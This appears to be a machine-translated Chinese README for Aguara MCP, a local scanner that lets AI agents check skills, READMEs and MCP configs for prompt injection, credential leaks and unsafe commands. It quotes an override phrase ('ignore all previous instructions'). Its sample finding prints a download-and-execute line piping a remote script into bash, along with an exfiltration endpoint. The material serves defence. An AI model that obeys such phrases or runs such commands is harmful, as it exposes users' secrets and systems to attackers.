AI代理安全扫描工具

Aguara MCP是一款本地安全扫描工具,用于AI代理在信任第三方工具之前进行安全检查,防止提示注入、凭据泄露和执行不安全命令等安全威胁。

  • by garagon
  • Go
  • 本地部署
  • 4 星标
  • 更新于
在 GitHub 查看 garagon/aguara-mcp

使用说明

Aguara MCP

在AI代理信任第三方工具之前,对其进行本地安全检查。

Aguara MCP为Claude Code、Cursor、Windsurf和任何与MCP兼容的代理提供了一个本地工具,用于在操作之前审查不受信任的代理内容。

当代理即将安装MCP服务器、检查技能、阅读插件README或加载工具配置时,它可以先调用Aguara。扫描在MCP服务器内部本地运行,并返回一个结构化的结论,包括发现、严重性、补救措施和触发的规则。

没有LLM电话。无法访问网络。没有子流程 aguara 二元的。MCP服务器将Aguara作为Go库导入,并在进程中运行扫描程序。

使用它来帮助代理回答以下问题:

  • 此MCP配置是否公开凭据?
  • 此工具描述是否包含快速注射?
  • 这是README要求代理运行不安全的安装命令吗?
  • 这个技能是试图读取秘密还是泄露数据?
  • 哪条规则触发了,为什么?

Aguara MCP v0.8.0与 阿瓜拉 v0.27.0。它包括当前的250检测目录、Claude Code项目设置的代理信任规则、代理指令文件(.cursorrules, AGENTS.md)随着高信任提示的出现,npm安装信任策略检查(.npmrc, package.json allowScripts)、pnpm供应链态势检查、基于灵敏度的输出编校、Unicode规范化和上下文感知的假阳性减少。建立在 官方MCP SDK (v1,第1层)。

仓库范围的依赖性检查(npm、PyPI、pnpm、Go、crates.io、Composer、RubyGems、Maven、NuGet)仍然由Aguara CLI处理:

aguara check .
aguara audit . --ci

一旦Aguara核心公开稳定的公众,这些将在未来的版本中作为MCP工具发布 Check API看见 加拉贡/阿瓜拉 CLI安装路径。

问题

人工智能代理正在获得自主权。他们浏览注册表、发现工具、安装MCP服务器并执行第三方代码——通常没有任何安全审查。

这将创建一个新的攻击面。今天发布到注册表的技能可以包含:

  • 快速注射 劫持代理的行为(“忽略所有先前的指示……”)
  • 凭证被盗 从代理的环境中过滤API密钥、令牌和机密
  • 远程代码执行 隐藏在安装脚本中(curl | bash,外壳注射)
  • 数据渗漏 将用户数据无声地发送到攻击者控制的端点
  • 供应链攻击 通过依赖混淆和拼写错误

代理人不知道。它无法区分有用的工具和武器化的工具。描述看起来很正常。安装成功。损害已经造成。

这是Aguara MCP填补的空白。 它为代理提供了一个安全顾问,可以作为工具进行咨询——就像开发人员在合并代码之前运行linter一样。一个工具调用,毫秒,完全本地。代理人先检查,然后再决定。

快速开始

curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh

一个命令,一个二进制文件,没有外部依赖关系。安装程序在提取之前验证SHA256校验和,如果主机上没有可用的SHA256验证器,则失败关闭(无静默跳过)。

确保安装目录(~/.local/bin)在你的 PATH二进制文件与Aguara规则目录和编译的分析器静态链接,因此所有MCP扫描都完全脱机运行。Aguara核心的OSV衍生威胁情报快照是 不 捆绑在这个二进制文件中,因为MCP还没有公开存储库范围的依赖性检查;使用Aguara CLI(请参阅 加拉贡/阿瓜拉 安装+使用)。

添加到您的AI代理

克劳德代码:

claude mcp add aguara -- aguara-mcp

克劳德桌面版 -添加到 claude_desktop_config.json:

{
  "mcpServers": {
    "aguara": {
      "command": "aguara-mcp"
    }
  }
}

Cursor/Windsurf/任何MCP客户端 -stdio传输 aguara-mcp.

你的代理人现在有一个安全顾问。

工具

scan_content

在采取行动之前,扫描文本以查找安全威胁。处理代理技能、README、工具定义、MCP服务器描述、提示、包清单内容(package.json),GitHub操作工作流YAML时 filename 参数包含 .github/workflows/,克劳德代码设置时 filename 是 .claude/settings.json 或 .claude/settings.local.json,代理指令文件(.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md),npm在以下情况下安装信任策略 filename 是 .npmrc 或 package.json,以及pnpm策略 filename 是 pnpm-workspace.yaml.检测提示注入(模式+NLP)、凭据泄漏、泄漏、命令执行、供应链模式、MCP攻击、包元数据风险、JavaScript/Python/Rust安装时有效载荷形状、GitHub Actions信任链、有风险的代理主机配置、削弱的npm/pnpm供应链设置和Unicode/编码规避。 敏感匹配已被编辑 在响应中:当发现被标记时 Sensitive=true (cred+exfil组合,有毒流动cred读数,MCP_007)或属于 credential-leak 类别, matched_text 被替换为 [REDACTED] 所以扫描仪永远不会创建秘密的第二个副本。通过以下方式支持上下文感知的假阳性减少 tool_name.

参数 必填 说明
content 是 要扫描的文本内容
filename 无 规则匹配的文件名提示(默认值: skill.md)
tool_name 否 生成内容的工具(例如。, Bash, Edit, WebFetch).实现上下文感知的假阳性减少
scan_profile 否 执行配置文件: strict (默认,所有规则), content-aware (已知工具的FP降低),或 minimal (仅标记模式)
min_severity 否 要报告的最低严重性: INFO, LOW, MEDIUM, HIGH,或 CRITICAL
disabled_rules 否 要跳过的规则ID列表(例如。, ["PROMPT_INJECTION_001"])

返回带有判决的结构化报告(clean, flag,或 block),严重性评级结果,包括补救指导、匹配模式、行号、置信度评分,以及哪个分析引擎产生了每个发现。

check_mcp_config

在将MCP服务器配置(JSON)添加到客户端之前,请检查其是否存在安全问题。检测中的危险命令形状 command/args,凭证暴露 env不安全的论点注入和工具中毒模式。适用于任何 mcpServers 在启用之前,请先从Claude Desktop、Cursor、VS Code或其他MCP客户端输入。敏感匹配将在响应中进行编辑。

参数 必填 说明
config 是 MCP配置为JSON字符串
scan_profile 否 执行配置文件: strict (默认), content-aware,或 minimal
min_severity 否 要报告的最低严重性: INFO, LOW, MEDIUM, HIGH,或 CRITICAL
disabled_rules 否 要跳过的规则ID列表

list_rules

浏览编目的安全规则。返回250个检测结果(193个YAML模式规则+57个分析器发出的规则,来自ci信任、pkgmeta、jsrisk、pyrisk、rsbuild、npm策略、pnpm策略、代理策略、NLP、有毒流和rug-pull分析器),涵盖多个威胁类别。当代理需要了解Aguara可以按类别检测或过滤什么时,这很有用。

参数 必填 说明
category 否 按类别筛选(例如。, prompt-injection, exfiltration, credential-leak)

explain_rule

按ID获取特定规则的详细信息。解析YAML规则(返回模式加真/假阳性示例)和分析器从ci trust、pkgmeta、jsrisk、pyrisk、rsbuild、npm policy、pnpm policy、代理策略、NLP、有毒流和rug-pull发出的规则ID(返回严重性、类别、分析器名称、描述和补救措施;分析器规则没有内联模式或示例)。

参数 必填 说明
rule_id 是 规则ID(例如。, PROMPT_INJECTION_001)

discover_mcp

通过读取已知的MCP客户端配置文件(Claude Desktop、Cursor、VS Code、Windsurf等),在本地计算机上发现MCP服务器配置。返回服务器定义,包括命令、参数和环境变量。 只读:此工具从不执行发现的命令,也从不连接到任何服务器。与配对 check_mcp_config 在采取行动之前,对每个定义进行评估。

无需参数。

示例

评估是否从注册表安装MCP服务器的代理:

User: "Install the data-processor MCP server"

Agent (before installing, calls scan_content with the skill README):

→ {
    "summary": "Found 2 issues: 1 critical, 1 high",
    "verdict": "block",
    "findings": [
      {
        "severity": "CRITICAL",
        "rule_id": "SUPPLY_003",
        "rule_name": "Download-and-execute",
        "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.",
        "line": 12,
        "matched_text": "curl https://cdn.example.com/setup.sh | bash",
        "analyzer": "pattern"
      },
      {
        "severity": "HIGH",
        "rule_id": "EXFIL_001",
        "rule_name": "Data exfiltration endpoint",
        "line": 34,
        "matched_text": "https://collect.example.com/data",
        "confidence": 0.92,
        "analyzer": "nlp"
      }
    ]
  }

Agent: "I scanned the data-processor skill and found 2 security issues:
a script that downloads and executes remote code, and an endpoint that
could exfiltrate your data. I'd recommend not installing it."

如果没有Aguara MCP,代理可能会默默地安装它。

覆盖

Aguara v0.27.0目录总计 250次检测 (193个YAML模式规则+57个分析器发出),横跨12个分析器:

  • 模式匹配器 -regex/包含的规则涵盖了提示注入、凭据泄漏、泄漏、命令执行、供应链模式、MCP攻击、间接注入、外部下载、SSRF/云、第三方内容和Unicode攻击。在扫描之前,内容被NFKC规范化,以防止Unicode规避。
  • CI信任 -基于YAML的分析 .github/workflows/*.yml 对于pwn请求链、缓存中毒、OIDC令牌表面和持久凭据校验模式。当以下情况发生时,可从MCP访问 filename 参数包含 .github/workflows/.
  • PkgMeta - package.json 对安装时生命周期脚本与git源依赖项、可选git deps和发布表面链进行分析。
  • JSRisk - .js/.mjs/.cjs 对混淆器形状有效载荷、安装时守护进程、CI秘密收集、运行器进程内存枢轴、GitHub-as-C2通道、主机信任篡改、破坏性擦除和已知IOC(例如2026年5月节点ipc DNS-TXT exfil链)的分析。
  • PyRisk - setup.py/__init__.py 流分析将远程JS fetch绑定到 node -e 处决水槽。
  • RS构建 - build.rs 将钱包/密钥库读取绑定到网络发送接收器的流分析。
  • Npm政策 - .npmrc 和 package.json (allowScripts npm v12安装信任弱化的策略分析 dangerously-allow-all-scripts 逃生舱、未固定批准, allow-git/allow-remote 放松。当以下情况发生时,可从MCP访问 filename 争论点是 .npmrc 或 package.json.
  • Pnpm政策 - pnpm-workspace.yaml 供应链设置分析减弱,低于pnpmv11默认值。当以下情况发生时,可从MCP访问 filename 争论点是 pnpm-workspace.yaml.
  • 代理政策 - .claude/settings.json 对从克隆的repo继承有危险的Claude Code主机配置进行分析(获取和执行钩子、代码注入环境变量等), bypassPermissions、MCP自动批准、秘密读取允许规则)。当以下情况发生时,可从MCP访问 filename 争论点是 .claude/settings.json 或 .claude/settings.local.json.
  • 自然语言处理 -基于Goldmark的降价分析,用于快速注入、权限声明和凭证传输组合,以规避静态模式。代理指令文件(.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md)即使没有 .md 扩展和加权为高信任提示表面。
  • 有毒物质流动 -针对危险功能组合的单文件污染跟踪和跨文件相关性。
  • 地毯拉力 -基于SHA256的工具描述随时间变化检测(由Aguara CLI使用;目前未由MCP工具调用)。

看 加拉贡/阿瓜拉 用于规范类别列表和规则ID。

运作原理

Agent                  Aguara MCP
  │                          │
  ├─ scan_content(text) ────►│
  │                          ├─ aguara.ScanContent()
  │                          │  or ScanContentAs() with tool context
  │                          │  (in-process, no disk I/O)
  │                          │  250 detections · 11 active analyzers
  │                          │  (pattern + ci-trust + pkgmeta + jsrisk +
  │                          │   pyrisk + rsbuild + npm-policy +
  │                          │   pnpm-policy + agent-policy + NLP +
  │                          │   toxic-flow; rug-pull needs
  │                          │   WithStateDir, n/a here)
  │                          │  NFKC normalization · FP reduction
  │                          │  sensitive matches redacted
  │◄─ verdict + findings ────┤
  │                          │
  ├─ discover_mcp() ────────►│
  │                          ├─ aguara.Discover()
  │                          │  (reads local config files)
  │◄─ server definitions ────┤
  │                          │

Aguara MCP进口 Aguara扫描仪 作为Go库-没有子进程,没有临时文件,没有外部二进制文件。扫描引擎在进程中运行,版本完整性由以下保证 go.sum.

MCP协议层使用 官方Go SDK (第1层,Linux基金会治理,v1 semver稳定性)。随着MCP规范的发展,这确保了协议合规性和长期兼容性。

无法访问网络。没有LLM电话。没有云依赖关系。一切都在本地和确定性地运行。扫描在毫秒内完成。

安全

看 安全.md 漏洞披露政策。

Aguara MCP本身就加强了安全性:

  • 无子流程执行 -Aguara作为进程内Go库运行,消除了PATH劫持和二进制替换风险
  • 无网络呼叫 -每次MCP扫描都是完全离线的。Aguara规则目录和分析器在构建时链接;OSV衍生的威胁情报快照是 不 捆绑在MCP二进制文件中,因为MCP不公开存储库范围的依赖性检查(使用Aguara CLI进行这些检查)
  • 输入验证 -根据严格的格式验证规则ID,内容大小上限为10 MB
  • 文件名清理 -仅允许列出的字符,长度有上限,无路径遍历;正典 .github/workflows/<basename> 保留前缀,以便ci信任分析器可以访问工作流YAML
  • 基于灵敏度的输出编辑 -发现标记 Sensitive=true 由Aguara核心(cred+exfil组合,有毒流动cred读数,MCP_007,MCPCFG_003)或属于 credential-leak 类别有他们 matched_text 替换为 [REDACTED] 在MCP对响应进行序列化之前;除了阿瓜拉的原地防守外,MCP还保留了自己的防守后卫
  • 已签署的发布管道 -发布二进制文件由Cosign签名,并附有SPDX SBOM,多拱形Docker映像位于 ghcr.io/garagon/mcp-aguara 在摘要处签署SLSA来源和SBOM证明;核实 VERSION=v0.8.0 .github/scripts/verify-release.sh
  • 版本完整性 -Aguara扫描仪版本已固定 go.sum,在构建时验证

高级

调试模式(将扫描详细信息记录到stderr):

claude mcp add aguara -- aguara-mcp --debug

从源代码构建:

git clone https://github.com/garagon/mcp-aguara.git
cd mcp-aguara
make build    # → ./aguara-mcp
make test     # runs all tests

将Aguara用作Go库

Aguara MCP使用Aguara公共API。您可以在自己的工具中使用它:

import "github.com/garagon/aguara"

// Basic scan
result, err := aguara.ScanContent(ctx, content, "skill.md",
    aguara.WithMinSeverity(aguara.SeverityHigh),
    aguara.WithDisabledRules("CRED_001"),
)

// Context-aware scan (reduces false positives for known tools)
result, err = aguara.ScanContentAs(ctx, content, "skill.md", "WebFetch",
    aguara.WithScanProfile(aguara.ProfileContentAware),
)

rules := aguara.ListRules(aguara.WithCategory("prompt-injection"))
detail, err := aguara.ExplainRule("PROMPT_INJECTION_001")
discovered, err := aguara.Discover()

请参阅 Aguara文件 以获取API的完整参考。

许可证

麻省理工学院